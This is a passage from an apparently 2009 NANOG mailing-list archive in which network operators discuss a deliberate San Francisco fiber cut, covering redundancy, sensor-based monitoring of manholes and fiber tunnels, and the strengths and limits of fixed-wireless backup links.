useful content was purely coincidental and not condoned by any present or past employer. Repeated exposure may be habit forming. Do not read while operating heavy machinery. From christopher.p.hart at gmail.com Mon Apr 13 21:11:26 2009 From: christopher.p.hart at gmail.com (Christopher Hart) Date: Mon, 13 Apr 2009 19:11:26 -0700 Subject: Fiber cut in SF area In-Reply-To: <63ac96a50904131901h1dab5c76o788fa440b9c3641@mail.gmail.com> References: <49E17DCE.9030605@rockynet.com> <200904121212.n3CCCCEs012209@aurora.sol.net> <6286FF05EBE33C4596F6C6C23762686701D77AE8@VS11.EXCHPROD.USA.NET> <63ac96a50904130931s2e05dd90r8c0fffb2a4849973@mail.gmail.com> <200904140032.n3E0WnP6010794@kw.retro.com> <63ac96a50904131826k70f0b565hc6493794cd462e79@mail.gmail.com> <200904140130.n3E1UShp011609@kw.retro.com> <63ac96a50904131901h1dab5c76o788fa440b9c3641@mail.gmail.com> Message-ID: Rofl Matt, I was recently laid off from my job for 'economic' reasons, what you say is deadly accurate. Bravo! :) On Mon, Apr 13, 2009 at 7:01 PM, Matthew Petach wrote: > On 4/13/09, George William Herbert wrote: > > Matthew Petach wrote: > > >> George William Herbert wrote: > > >> Matthew Petach writes: > > [much material snipped in the interests of saving precious electron > resources...] > > > This was all in one geographical area. Diversity out of area will get > > you around single points like that, if you know the overall topology > > of the fiber networks around the US and chose locations carefully. > > > > But even that won't protect you against common mode vendor hardware > > failures, or a largescale BGP outage, or the routing chaos that comes > > with a very serious regional net outage (exchange points, major > > undersea cable cuts, etc).... > > > > There may be 4 or 5 nines, but the 1 at the end has your name on it. > > Ultimately, I think a .sig line I saw years back summed it up very > succinctly: > > "Earth is a single point of failure." > > Below that, you're right, we're all just quibbling about which digits to > put > to the right of the decimal point. If the entire west coast of the US > drops > into the ocean, yes, having my data backed up on different continents > will help; but I'll be swimming with the sharks at that point, and won't > really be able to care much, so the extent of my disaster planning > tends to peter out around the point where entire states disappear, > and most definitely doesn't even wander into the realm of entire continents > getting cut off, or the planet getting incinerated in a massive solar > flare. > > Fundamentally, though, I think it's actually good we have outages > periodically; they help keep us employed. When networks run too > smoothly, management tends to look upon us as unnecessary > overhead that can be trimmed back during the next round of > layoffs. The more they realize we're the only bulwark against > the impending forces of chaos you mentioned above, the less > likely they are to trim us off the payroll. > > Matt > > Note--tongue was firmly planted in cheek; no slight was intended > against those who may have lost jobs recently; post was intended > for humourous consumption only; any resemblence to useful > content was purely coincidental and not condoned by any present > or past employer. Repeated exposure may be habit forming. Do > not read while operating heavy machinery. > > -- Respectfully, Chris Hart George Carlin - "Frisbeetarianism is the belief that when you die, your soul goes up on the roof and gets stu... From roll at Stupi.SE Mon Apr 13 21:12:04 2009 From: roll at Stupi.SE (Peter Lothberg) Date: Tue, 14 Apr 2009 04:12:04 +0200 (CEST) Subject: Fiber cut in SF area In-Reply-To: <20090414015205.GA23926@vacation.karoshi.com.> Message-ID: > On Tue, Apr 14, 2009 at 03:41:25AM +0200, Peter Lothberg wrote: > > > > There are three solutions to the problem; > > > > > > > > A: Put a armed soldier every 150ft on the fiber path. > > > > > > > > B: Make the infrstructure so redundant that cutting things > > > > just makes you tired, but nothing hapens. > > > > > > > > C: Do nothing. > > > > > > > > > > > > As the society becomes more and more dependent on the infrastructure > > > > for electronic communication, my suggestion to policy makers has been > > > > that it should be easier to imprison all the government officials of a > > > > contry than knocking out it's infrastrcture. > > > > -P > > Yo, Peter. You speak of "infrastructure" as if it was a monolithic thing. > Why would you think that some localized NoCal fiber cuts would be taking out > the whole countrys infrastructure? > --bill If you are talking residential access, in the future when people work from home, the study we did in 2000 came down to that you can only loose 30 subs on a single-point-of failure tehing, and the recomendation was to interlave them, so your neighbour would have connectivity. While on this, we have an even bigger problem, the impact of loosing power is bigger, but their system has not gained the same amount of complexity as ours in the last 100 years.. (the book from 1907 on power-lines is still applicable.) -P From jbates at brightok.net Mon Apr 13 21:38:51 2009 From: jbates at brightok.net (Jack Bates) Date: Mon, 13 Apr 2009 21:38:51 -0500 Subject: Fiber cut in SF area In-Reply-To: References: <311292.26202.qm@web31801.mail.mud.yahoo.com> <9FF97860-7FB6-49CF-97DF-D9FBDF6013DF@daork.net> <49E3D948.4090902@brightok.net> Message-ID: <49E3F73B.4060408@brightok.net> telmnstr at 757.org wrote: > >> Presumes the perp isn't familiar with the hole, and it's security >> measures. In this case, I doubt that either is the case. Pop in, snip >> the wires on the horn, and do what you do. > > Better they cut the fiber instead of Oklahoma Citying the central office. > If you're referring to the Event, that scares me every day about the largest meet points in the nation and how much traffic can really fully switch to other paths should one or two disappear completely. On the data side of things, though, while it still takes time, I'm forever impressed at how fast everything comes together to get communications rolling again. Man-made or natural, disasters bring out the best and the worst. Of course, I mostly see natural disasters; wasn't far from the tornado that decorated the Tandy building in Ft. Worth, was 5 miles from the Tornado in Moore, OK, and was bunkered down in my house in Lone Grove this year. I've seen 2 man-made disasters and 2 natural disasters so far this year. One was severe at a network level (Building power outage because the NOC chose not to check it out and discover the faulty power transfer switch; batteries died 8 hours later), and 3 were local and only effected a subset of end users due to cable damage (Tornado in Lone Grove back in Feb, wildfires last week in Lone Grove, and one of our nearby towns had an oversized truck grab the overhead cable and drag it down the road, ripping poles out of the ground, and of course he didn't stick around to pay the bill). If you're referring to our infrastructure, no comment but lots of laughter. I really haven't considered the SF fiber cut to be a big deal. It may effect more people, but it's still a couple minor cuts. From the back woods, Jack From daryl at introspect.net Mon Apr 13 22:39:11 2009 From: daryl at introspect.net (Daryl G. Jurbala) Date: Mon, 13 Apr 2009 23:39:11 -0400 Subject: Fiber cut in SF area In-Reply-To: References: <311292.26202.qm@web31801.mail.mud.yahoo.com> <9FF97860-7FB6-49CF-97DF-D9FBDF6013DF@daork.net> <49E3D948.4090902@brightok.net> Message-ID: <57A90C48-E063-47A6-9075-9CF855707E9E@introspect.net> On Apr 13, 2009, at 8:40 PM, telmnstr at 757.org wrote: > Better they cut the fiber instead of Oklahoma Citying the central > office. I'm not sure that the "someone will alway s find the weakest link" argument can be summed up any better than this. If you don't believe it, you all need to spend more time in the big room with the blue ceiling outside of your colos/DCs. Daryl From jmamodio at gmail.com Tue Apr 14 10:21:00 2009 From: jmamodio at gmail.com (Jorge Amodio) Date: Tue, 14 Apr 2009 10:21:00 -0500 Subject: Fiber cut in SF area In-Reply-To: <63ac96a50904131901h1dab5c76o788fa440b9c3641@mail.gmail.com> References: <49E17DCE.9030605@rockynet.com> <200904121212.n3CCCCEs012209@aurora.sol.net> <6286FF05EBE33C4596F6C6C23762686701D77AE8@VS11.EXCHPROD.USA.NET> <63ac96a50904130931s2e05dd90r8c0fffb2a4849973@mail.gmail.com> <200904140032.n3E0WnP6010794@kw.retro.com> <63ac96a50904131826k70f0b565hc6493794cd462e79@mail.gmail.com> <200904140130.n3E1UShp011609@kw.retro.com> <63ac96a50904131901h1dab5c76o788fa440b9c3641@mail.gmail.com> Message-ID: <202705b0904140821w1458135brf6c49ac394e1f267@mail.gmail.com> > "Earth is a single point of failure." On top of that, one basic principle of telecommunications: No matter how much diversity and path redundancy, tons of concrete or titanium sealed fiber vaults you have, in the data exchange between points A and B there will be always two single points of failure: A and B. IMHO, this thread is getting way off topic, boring and useless. Fiber cut is over, there will be many more, move on ... Cheers Jorge From Jay.Murphy at state.nm.us Tue Apr 14 11:44:40 2009 From: Jay.Murphy at state.nm.us (Murphy, Jay, DOH) Date: Tue, 14 Apr 2009 10:44:40 -0600 Subject: Fiber cut in SF area In-Reply-To: <202705b0904140821w1458135brf6c49ac394e1f267@mail.gmail.com> References: <49E17DCE.9030605@rockynet.com><200904121212.n3CCCCEs012209@aurora.sol.net><6286FF05EBE33C4596F6C6C23762686701D77AE8@VS11.EXCHPROD.USA.NET><63ac96a50904130931s2e05dd90r8c0fffb2a4849973@mail.gmail.com><200904140032.n3E0WnP6010794@kw.retro.com><63ac96a50904131826k70f0b565hc6493794cd462e79@mail.gmail.com><200904140130.n3E1UShp011609@kw.retro.com><63ac96a50904131901h1dab5c76o788fa440b9c3641@mail.gmail.com> <202705b0904140821w1458135brf6c49ac394e1f267@mail.gmail.com> Message-ID: True enough Jorge, however, we need full-orbed perspective here....it's not merely beating a dead horse; as far as topic goes, it is purely edification in the nth degree, manner, fashion. This is the lingua franca of this forum, and those who chose to read it, or not. Not merely pointed dialogue or geek speaks for the consummate net head ideologue. After all, iron sharpens iron. Demagoguery gives rise to elitism. No demonization here. You're ok. :-) Cheerio, Jay Murphy IP Network Specialist NM Department of Health ITSD - IP Network Operations Santa Fe, New Mexico 87502 Bus. Ph.: 505.827.2851 "We move the information that moves your world." -----Original Message----- From: Jorge Amodio [mailto:jmamodio at gmail.com] Sent: Tuesday, April 14, 2009 9:21 AM To: nanog at nanog.org Subject: Re: Fiber cut in SF area > "Earth is a single point of failure." On top of that, one basic principle of telecommunications: No matter how much diversity and path redundancy, tons of concrete or titanium sealed fiber vaults you have, in the data exchange between points A and B there will be always two single points of failure: A and B. IMHO, this thread is getting way off topic, boring and useless. Fiber cut is over, there will be many more, move on ... Cheers Jorge ______________________________________________________________________ This inbound email has been scanned by the MessageLabs Email Security System. ______________________________________________________________________ This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system manager. This message contains confidential information and is intended only for the individual named. If you are not the named addressee you should not disseminate, distribute or copy this e-mail. From Skywing at valhallalegends.com Tue Apr 14 12:08:16 2009 From: Skywing at valhallalegends.com (Skywing) Date: Tue, 14 Apr 2009 12:08:16 -0500 Subject: Fiber cut in SF area Message-ID: <982D8D05B6407A49AD506E6C3AC8E7D6E5092CE6D9@caralain.haven.nynaeve.net> Apologies for continuing this thread, but -- I don't understand this preoccupation with "early warning" systems on access to said manhole. What's the point? There are two possibilities here: 1) Someone goes down there and breaks something. You *already* know when this happens, because of your normal link monitoring. 2) There's a false positive (i.e. nothing malicious is done). >From where I stand, these seem like ways to spend money in order to increase the reporting noise. Or am I missing something? Irregardless, it would be wise to focus on the *common* causes of outages. The things that happen and cause customers pain every day, due to more mundane occurrances like backhoes. Regardless of whether it's a hacksaw or a backhoe that takes out a cable, the customer is still down. Simple economics seem to dictate that the most attention should be devoted to the problems where you get the most "bang for your buck" - i.e. not movie theatre plot scenarios that happen once in many blue moons when there are so many other, far too common (and yet mundane) causes of outages. - S -----Original Message----- From: Peter Beckman Sent: Monday, April 13, 2009 11:19 To: Dylan Ebner Cc: nanog at nanog.org Subject: RE: Fiber cut in SF area On Mon, 13 Apr 2009, Dylan Ebner wrote: > It will be easier to get more divergence than secure all the manholes in > the country. I still think skipping the securing of manholes and access points in favor of active monitoring with offsite access is a better solution. You can't keep people out, especially since these manholes and tunnels are designed FOR human access. But a better job can be done of monitoring and knowing what is going on in the tunnels and access points from a remote location. Cheap: light sensor + cell phone = knowing exactly when and where the amount of light in the tunnel changes. Detects unauthorized intrusions. Make sure to detect all visible and IR spectrum, should someone very determined use night vision and IR lights to disable the sensor. Mid-Range: Webcam + cell phone = SEEING what is going on plus everything above. High-end: Webcam + cell phone + wifi or wimax backup both watching the entrance and the tunnels. James Bond: Lasers. Active monitoring of each site makes sure each one is online. Pros: * Knowing immediately that there is a change in environment in your tunnels. * Knowing who or at least THAT something is in there * Being able to proactively mitigate attempts * Availability of Arduino, SIM card adapters, and sophisticated sensor and camera equipment at low cost Cons: * Cell provider outage or spectrum blocker removes live notifications * False positives are problematic and can lower monitoring thresholds * Initial expense of deployment of monitoring systems Farmers use tiny embedded devices on their farms to monitor moisture, rain, etc. in multiple locations to customize irrigation and to help avoid loss of crops. These devices communicate with themselves, eventually getting back to a main listening post which relays the information to the farmer's computers. Tiny, embedded, networked devices that monitor the environment in the tunnels that run our fiber to help avoid loss of critical communications services seems to be a good idea. Cheap, disposable devices that can communicate with each other as well as back to some HQ is a way to at least know about problems of access before they happen. No keys to lose, no technology keeping people out and causing repair problems. Some other things that could detect access problems: * Pressure sensors (maybe an open manhole causes a detectable change in air pressure in the tunnel) * Temperature sensors (placed near access points, detects welding and thermite use) * Audio monitor (can help determine if an alert is just a rat squealing or people talking -- could even be automated to detect certain types of noises) * IR (heat) motion detection, as long as giant rats/rodents aren't a problem * Humidity sensors (sell the data to weatherbug!) One last thought inspired by the guy who posted about pouring quick-set concrete in to slow repair. Get some heavy-duty bags, about 10 feet long and large enough to fill the space in the tunnel. More heavily secure the fiber runs directly around the access space, then inflate two bags on either side of the access point. Easily deflated, these devices also have an electronic device which can notify HQ that they are being deflated or the pressure inside is changing (indicating pushing or manipulation). That way you only need to put these bags at access points, not throughout the whole tunnel. Kinda low-tech, but could be effective. No keys needed, could be inflated/deflated quickly, and you still get notification back to a monitoring point. Beckman --------------------------------------------------------------------------- Peter Beckman Internet Guy beckman at angryox.com http://www.angryox.com/ --------------------------------------------------------------------------- From Myke.Lyons at cmtww.com Tue Apr 14 12:11:20 2009 From: Myke.Lyons at cmtww.com (Myke Lyons) Date: Tue, 14 Apr 2009 13:11:20 -0400 Subject: Fibre Cut in North Carolina Message-ID: <9DA5A2B6-D600-4BE3-9D93-80DDF86707B3@cmtww.com> Does anyone have any more information on the cut AT&T cut in Chapel Hill? .myke From jmamodio at gmail.com Tue Apr 14 12:31:01 2009 From: jmamodio at gmail.com (Jorge Amodio) Date: Tue, 14 Apr 2009 12:31:01 -0500 Subject: Fiber cut in SF area In-Reply-To: References: <49E17DCE.9030605@rockynet.com> <200904121212.n3CCCCEs012209@aurora.sol.net> <6286FF05EBE33C4596F6C6C23762686701D77AE8@VS11.EXCHPROD.USA.NET> <63ac96a50904130931s2e05dd90r8c0fffb2a4849973@mail.gmail.com> <200904140032.n3E0WnP6010794@kw.retro.com> <63ac96a50904131826k70f0b565hc6493794cd462e79@mail.gmail.com> <200904140130.n3E1UShp011609@kw.retro.com> <63ac96a50904131901h1dab5c76o788fa440b9c3641@mail.gmail.com> <202705b0904140821w1458135brf6c49ac394e1f267@mail.gmail.com> Message-ID: <202705b0904141031m327e3ca8r9733080307cd0359@mail.gmail.com> > True enough Jorge, however, we need full-orbed perspective here....it's > not merely beating a dead horse; as far as topic goes, it is purely > edification in the nth degree, manner, fashion. This is the lingua > franca of this forum, and those who chose to read it, or not. ?Not > merely pointed dialogue or geek speaks for the consummate net head > ideologue. After all, iron sharpens iron. Demagoguery gives rise to > elitism. No demonization here. You're ok. :-) I know, I don't mind the dialogue but IMHO besides trying to define which is the best way to seal a manhole, I'd rather see a more constructive discussion from an operational perspective. I really doubt that the big guys who own the fibers will make a rational decision about how to build their networks reading NANOG when the underlaying problem is not just technical or operational. For example, based on the experience with this outage, what's was out, how many users were affected, how the network operator's community handled the issue, what information was available, what kind of communications we used, what we did wrong, what we did right. BTW, now I know where to get a good padlock for my shack :-) Cheers Jorge From Jay.Murphy at state.nm.us Tue Apr 14 12:37:30 2009 From: Jay.Murphy at state.nm.us (Murphy, Jay, DOH) Date: Tue, 14 Apr 2009 11:37:30 -0600 Subject: Fiber cut in SF area In-Reply-To: <202705b0904141031m327e3ca8r9733080307cd0359@mail.gmail.com> References: <49E17DCE.9030605@rockynet.com><200904121212.n3CCCCEs012209@aurora.sol.net><6286FF05EBE33C4596F6C6C23762686701D77AE8@VS11.EXCHPROD.USA.NET><63ac96a50904130931s2e05dd90r8c0fffb2a4849973@mail.gmail.com><200904140032.n3E0WnP6010794@kw.retro.com><63ac96a50904131826k70f0b565hc6493794cd462e79@mail.gmail.com><200904140130.n3E1UShp011609@kw.retro.com><63ac96a50904131901h1dab5c76o788fa440b9c3641@mail.gmail.com><202705b0904140821w1458135brf6c49ac394e1f267@mail.gmail.com> <202705b0904141031m327e3ca8r9733080307cd0359@mail.gmail.com> Message-ID: Cool enough. :-) Jay Murphy IP Network Specialist NM Department of Health ITSD - IP Network Operations Santa Fe, New Mexico 87502 Bus. Ph.: 505.827.2851 "We move the information that moves your world." -----Original Message----- From: Jorge Amodio [mailto:jmamodio at gmail.com] Sent: Tuesday, April 14, 2009 11:31 AM To: nanog at nanog.org Subject: Re: Fiber cut in SF area > True enough Jorge, however, we need full-orbed perspective here....it's > not merely beating a dead horse; as far as topic goes, it is purely > edification in the nth degree, manner, fashion. This is the lingua > franca of this forum, and those who chose to read it, or not. ?Not > merely pointed dialogue or geek speaks for the consummate net head > ideologue. After all, iron sharpens iron. Demagoguery gives rise to > elitism. No demonization here. You're ok. :-) I know, I don't mind the dialogue but IMHO besides trying to define which is the best way to seal a manhole, I'd rather see a more constructive discussion from an operational perspective. I really doubt that the big guys who own the fibers will make a rational decision about how to build their networks reading NANOG when the underlaying problem is not just technical or operational. For example, based on the experience with this outage, what's was out, how many users were affected, how the network operator's community handled the issue, what information was available, what kind of communications we used, what we did wrong, what we did right. BTW, now I know where to get a good padlock for my shack :-) Cheers Jorge ______________________________________________________________________ This inbound email has been scanned by the MessageLabs Email Security System. ______________________________________________________________________ Confidentiality Notice: This e-mail, including all attachments is for the sole use of the intended recipient(s) and may contain confidential and privileged information. Any unauthorized review, use, disclosure or distribution is prohibited unless specifically provided under the New Mexico Inspection of Public Records Act. If you are not the intended recipient, please contact the sender and destroy all copies of this message. -- This email has been scanned by the Sybari - Antigen Email System. From Justin.Dixon at BBandT.com Tue Apr 14 13:04:32 2009 From: Justin.Dixon at BBandT.com (Dixon, Justin) Date: Tue, 14 Apr 2009 14:04:32 -0400 Subject: Fibre Cut in North Carolina In-Reply-To: <9DA5A2B6-D600-4BE3-9D93-80DDF86707B3@cmtww.com> References: <9DA5A2B6-D600-4BE3-9D93-80DDF86707B3@cmtww.com> Message-ID: <91864382B2433640BA2A447041B3DBC30A4F59E6@wil-exmb01.bbtnet.com> >-----Original Message----- >From: Myke Lyons [mailto:Myke.Lyons at cmtww.com] >Sent: Tuesday, April 14, 2009 13:11 >To: nanog at nanog.org >Subject: Fibre Cut in North Carolina > >Does anyone have any more information on the cut AT&T cut in Chapel >Hill? > > >.myke > Vague details from local media... http://www.wral.com/news/local/story/4949649/ Thanks... Justin Dixon From jay at west.net Tue Apr 14 14:13:42 2009 From: jay at west.net (Jay Hennigan) Date: Tue, 14 Apr 2009 12:13:42 -0700 Subject: AS701 IPv6 at One Wilshire? Message-ID: <49E4E066.5070200@west.net> Is anyone getting IPv6 native (not tunneled) from Verizon/UUNet/MCI via ethernet at One Wilshire? We're getting conflicting reports as to its availability there. Their sales people appear to be clue-deprived re v6. Off-list replies are fine. -- Jay Hennigan - CCIE #7880 - Network Engineering - jay at impulse.net Impulse Internet Service - http://www.impulse.net/ Your local telephone and internet company - 805 884-6323 - WB6RDV From gav at aeronetpr.com Tue Apr 14 15:12:07 2009 From: gav at aeronetpr.com (Gino Villarini) Date: Tue, 14 Apr 2009 16:12:07 -0400 Subject: Fiber cut in SF area Message-ID: Here in my area most of business outfits that require maximum availability of Internet or WAN conenctions have implemented dual connections from dual providers, most with a fiber/copper main and a fixed wireless backup. This trend goes from banks to Mcdonalds Gino A. Villarini gav at aeronetpr.com Aeronet Wireless Broadband Corp. tel 787.273.4143 fax 787.273.4145 -----Original Message----- From: Jorge Amodio [mailto:jmamodio at gmail.com] Sent: Tuesday, April 14, 2009 11:21 AM To: nanog at nanog.org Subject: Re: Fiber cut in SF area > "Earth is a single point of failure." On top of that, one basic principle of telecommunications: No matter how much diversity and path redundancy, tons of concrete or titanium sealed fiber vaults you have, in the data exchange between points A and B there will be always two single points of failure: A and B. IMHO, this thread is getting way off topic, boring and useless. Fiber cut is over, there will be many more, move on ... Cheers Jorge From deepak at ai.net Tue Apr 14 15:35:30 2009 From: deepak at ai.net (Deepak Jain) Date: Tue, 14 Apr 2009 16:35:30 -0400 Subject: Fiber cut in SF area In-Reply-To: References: Message-ID: I don't mean to jump in here and state the obvious, but wireless links are not a panacea. At least a few folks have presented that fiber grooming has affected their *region*. It's not difficult to imagine that wherever the "head" link side (or agg point) of these regional wireless networks is... probably coincides with a fiber network or other telecom POP. You are just moving where your last mile vulnerabilities are (slightly.. as you are picking up multiple power vulnerabilities, Line of Sight, and other things along the way). In the example of a tornado or other weather disturbance, wireless links are subject to fade just as much as any kind of aerial wired asset. Deepak Jain AiNET > -----Original Message----- > From: Gino Villarini [mailto:gav at aeronetpr.com] > Sent: Tuesday, April 14, 2009 4:12 PM > To: Jorge Amodio; nanog at nanog.org > Subject: RE: Fiber cut in SF area > > Here in my area most of business outfits that require maximum > availability of Internet or WAN conenctions have implemented dual > connections from dual providers, most with a fiber/copper main and a > fixed wireless backup. This trend goes from banks to Mcdonalds > > > Gino A. Villarini > gav at aeronetpr.com > Aeronet Wireless Broadband Corp. > tel 787.273.4143 fax 787.273.4145 > > -----Original Message----- > From: Jorge Amodio [mailto:jmamodio at gmail.com] > Sent: Tuesday, April 14, 2009 11:21 AM > To: nanog at nanog.org > Subject: Re: Fiber cut in SF area > > > "Earth is a single point of failure." > > On top of that, one basic principle of telecommunications: > > No matter how much diversity and path redundancy, tons of concrete or > titanium sealed fiber vaults you have, in the data exchange between > points A and B there will be always two single points of failure: A and > B. > > IMHO, this thread is getting way off topic, boring and useless. > > Fiber cut is over, there will be many more, move on ... > > Cheers > Jorge From gav at aeronetpr.com Tue Apr 14 15:42:15 2009 From: gav at aeronetpr.com (Gino Villarini) Date: Tue, 14 Apr 2009 16:42:15 -0400 Subject: Fiber cut in SF area Message-ID: Good points, some variables are dependant on the network infrastructure of the wireless provider. Localy, the main 2 providers have a "copper/fiber independent" networks. Gino A. Villarini gav at aeronetpr.com Aeronet Wireless Broadband Corp. tel 787.273.4143 fax 787.273.4145 -----Original Message----- From: Deepak Jain [mailto:deepak at ai.net] Sent: Tuesday, April 14, 2009 4:36 PM To: Gino Villarini; Jorge Amodio; nanog at nanog.org Subject: RE: Fiber cut in SF area I don't mean to jump in here and state the obvious, but wireless links are not a panacea. At least a few folks have presented that fiber grooming has affected their *region*. It's not difficult to imagine that wherever the "head" link side (or agg point) of these regional wireless networks is... probably coincides with a fiber network or other telecom POP. You are just moving where your last mile vulnerabilities are (slightly.. as you are picking up multiple power vulnerabilities, Line of Sight, and other things along the way). In the example of a tornado or other weather disturbance, wireless links are subject to fade just as much as any kind of aerial wired asset. Deepak Jain AiNET > -----Original Message----- > From: Gino Villarini [mailto:gav at aeronetpr.com] > Sent: Tuesday, April 14, 2009 4:12 PM > To: Jorge Amodio; nanog at nanog.org > Subject: RE: Fiber cut in SF area > > Here in my area most of business outfits that require maximum > availability of Internet or WAN conenctions have implemented dual > connections from dual providers, most with a fiber/copper main and a > fixed wireless backup. This trend goes from banks to Mcdonalds > > > Gino A. Villarini > gav at aeronetpr.com > Aeronet Wireless Broadband Corp. > tel 787.273.4143 fax 787.273.4145 > > -----Original Message----- > From: Jorge Amodio [mailto:jmamodio at gmail.com] > Sent: Tuesday, April 14, 2009 11:21 AM > To: nanog at nanog.org > Subject: Re: Fiber cut in SF area > > > "Earth is a single point of failure." > > On top of that, one basic principle of telecommunications: > > No matter how much diversity and path redundancy, tons of concrete or > titanium sealed fiber vaults you have, in the data exchange between > points A and B there will be always two single points of failure: A > and B. > > IMHO, this thread is getting way off topic, boring and useless. > > Fiber cut is over, there will be many more, move on ... > > Cheers > Jorge From dholmes at mwdh2o.com Tue Apr 14 17:11:30 2009 From: dholmes at mwdh2o.com (Holmes,David A) Date: Tue, 14 Apr 2009 15:11:30 -0700 Subject: Fiber cut in SF area In-Reply-To: References: Message-ID: <485ED9BA02629E4BBBA53AC892EDA50E08B90499@usmsxt104.mwd.h2o> Wireless RF links have their drawbacks: 1. Current GHz Frequency technology places upper limit of 1 Gbps on point-to-point links, and distance at 1 Gbps is limited. Commercial GiGE radios are just now appearing, replacing 100 Mbps Ethernet and oc3 SONET radios. Telco use of wireless links to backup 10/40 GiGE fiber trunks in metropolitan areas is not scalable. 2. Wireless technology contains hardware plethora of nuts, bolts, cables, fasteners, custom-tuned crystals, dishes, passive/active reflectors, in addition to layer 1 tuning best performed by EE specializing in RF. 3. Relative to fiber optic technologies, there is a very small circle of RF companies that can install, tune, and maintain wireless links correctly and reliably. 4. Tower-climbing/working skills are essential. But, what is the state of diverse telco fiber paths such that this fiber cut was not transparent to users in such a key US metropolitan area? -----Original Message----- From: Gino Villarini [mailto:gav at aeronetpr.com] Sent: Tuesday, April 14, 2009 1:42 PM To: Deepak Jain; Jorge Amodio; nanog at nanog.org Subject: RE: Fiber cut in SF area Good points, some variables are dependant on the network infrastructure of the wireless provider. Localy, the main 2 providers have a "copper/fiber independent" networks. Gino A. Villarini gav at aeronetpr.com Aeronet Wireless Broadband Corp. tel 787.273.4143 fax 787.273.4145 -----Original Message----- From: Deepak Jain [mailto:deepak at ai.net] Sent: Tuesday, April 14, 2009 4:36 PM To: Gino Villarini; Jorge Amodio; nanog at nanog.org Subject: RE: Fiber cut in SF area I don't mean to jump in here and state the obvious, but wireless links are not a panacea. At least a few folks have presented that fiber grooming has affected their *region*. It's not difficult to imagine that wherever the "head" link side (or agg point) of these regional wireless networks is... probably coincides with a fiber network or other telecom POP. You are just moving where your last mile vulnerabilities are (slightly.. as you are picking up multiple power vulnerabilities, Line of Sight, and other things along the way). In the example of a tornado or other weather disturbance, wireless links are subject to fade just as much as any kind of aerial wired asset. Deepak Jain AiNET > -----Original Message----- > From: Gino Villarini [mailto:gav at aeronetpr.com] > Sent: Tuesday, April 14, 2009 4:12 PM > To: Jorge Amodio; nanog at nanog.org > Subject: RE: Fiber cut in SF area > > Here in my area most of business outfits that require maximum > availability of Internet or WAN conenctions have implemented dual > connections from dual providers, most with a fiber/copper main and a > fixed wireless backup. This trend goes from banks to Mcdonalds > > > Gino A. Villarini > gav at aeronetpr.com > Aeronet Wireless Broadband Corp. > tel 787.273.4143 fax 787.273.4145 > > -----Original Message----- > From: Jorge Amodio [mailto:jmamodio at gmail.com] > Sent: Tuesday, April 14, 2009 11:21 AM > To: nanog at nanog.org > Subject: Re: Fiber cut in SF area > > > "Earth is a single point of failure." > > On top of that, one basic principle of telecommunications: > > No matter how much diversity and path redundancy, tons of concrete or > titanium sealed fiber vaults you have, in the data exchange between > points A and B there will be always two single points of failure: A > and B. > > IMHO, this thread is getting way off topic, boring and useless. > > Fiber cut is over, there will be many more, move on ... > > Cheers > Jorge From gav at aeronetpr.com Tue Apr 14 17:18:13 2009 From: gav at aeronetpr.com (Gino Villarini) Date: Tue, 14 Apr 2009 18:18:13 -0400 Subject: Fiber cut in SF area Message-ID: My point is more toward end users that need redundant options ... Im yet to find a Mcdonalds, a Bank Branch or a ATM that needs a GigE circuit ... Fixed Wireless in the 512 kbps to 6 Mbps range... SF area is serviced by Covad Wireless division among others, every major US city is served by at least 1 or 2 reputable business class Wireless ISP's. Gino A. Villarini gav at aeronetpr.com Aeronet Wireless Broadband Corp. tel 787.273.4143 fax 787.273.4145 -----Original Message----- From: Holmes,David A [mailto:dholmes at mwdh2o.com] Sent: Tuesday, April 14, 2009 6:12 PM To: Gino Villarini; Deepak Jain; Jorge Amodio; nanog at nanog.org Subject: RE: Fiber cut in SF area Wireless RF links have their drawbacks: 1. Current GHz Frequency technology places upper limit of 1 Gbps on point-to-point links, and distance at 1 Gbps is limited. Commercial GiGE radios are just now appearing, replacing 100 Mbps Ethernet and oc3 SONET radios. Telco use of wireless links to backup 10/40 GiGE fiber trunks in metropolitan areas is not scalable. 2. Wireless technology contains hardware plethora of nuts, bolts, cables, fasteners, custom-tuned crystals, dishes, passive/active reflectors, in addition to layer 1 tuning best performed by EE specializing in RF. 3. Relative to fiber optic technologies, there is a very small circle of RF companies that can install, tune, and maintain wireless links correctly and reliably. 4. Tower-climbing/working skills are essential. But, what is the state of diverse telco fiber paths such that this fiber cut was not transparent to users in such a key US metropolitan area? -----Original Message----- From: Gino Villarini [mailto:gav at aeronetpr.com] Sent: Tuesday, April 14, 2009 1:42 PM To: Deepak Jain; Jorge Amodio; nanog at nanog.org Subject: RE: Fiber cut in SF area Good points, some variables are dependant on the network infrastructure of the wireless provider. Localy, the main 2 providers have a "copper/fiber independent" networks. Gino A. Villarini gav at aeronetpr.com Aeronet Wireless Broadband Corp. tel 787.273.4143 fax 787.273.4145 -----Original Message----- From: Deepak Jain [mailto:deepak at ai.net] Sent: Tuesday, April 14, 2009 4:36 PM To: Gino Villarini; Jorge Amodio; nanog at nanog.org Subject: RE: Fiber cut in SF area I don't mean to jump in here and state the obvious, but wireless links are not a panacea. At least a few folks have presented that fiber grooming has affected their *region*. It's not difficult to imagine that wherever the "head" link side (or agg point) of these regional wireless networks is... probably coincides with a fiber network or other telecom POP. You are just moving where your last mile vulnerabilities are (slightly.. as you are picking up multiple power vulnerabilities, Line of Sight, and other things along the way). In the example of a tornado or other weather disturbance, wireless links are subject to fade just as much as any kind of aerial wired asset. Deepak Jain AiNET > -----Original Message----- > From: Gino Villarini [mailto:gav at aeronetpr.com] > Sent: Tuesday, April 14, 2009 4:12 PM > To: Jorge Amodio; nanog at nanog.org > Subject: RE: Fiber cut in SF area > > Here in my area most of business outfits that require maximum > availability of Internet or WAN conenctions have implemented dual > connections from dual providers, most with a fiber/copper main and a > fixed wireless backup. This trend goes from banks to Mcdonalds > > > Gino A. Villarini > gav at aeronetpr.com > Aeronet Wireless Broadband Corp. > tel 787.273.4143 fax 787.273.4145 > > -----Original Message----- > From: Jorge Amodio [mailto:jmamodio at gmail.com] > Sent: Tuesday, April 14, 2009 11:21 AM > To: nanog at nanog.org > Subject: Re: Fiber cut in SF area > > > "Earth is a single point of failure." > > On top of that, one basic principle of telecommunications: > > No matter how much diversity and path redundancy, tons of concrete or > titanium sealed fiber vaults you have, in the data exchange between > points A and B there will be always two single points of failure: A > and B. > > IMHO, this thread is getting way off topic, boring and useless. > > Fiber cut is over, there will be many more, move on ... > > Cheers > Jorge From jcdill.lists at gmail.com Tue Apr 14 17:22:41 2009 From: 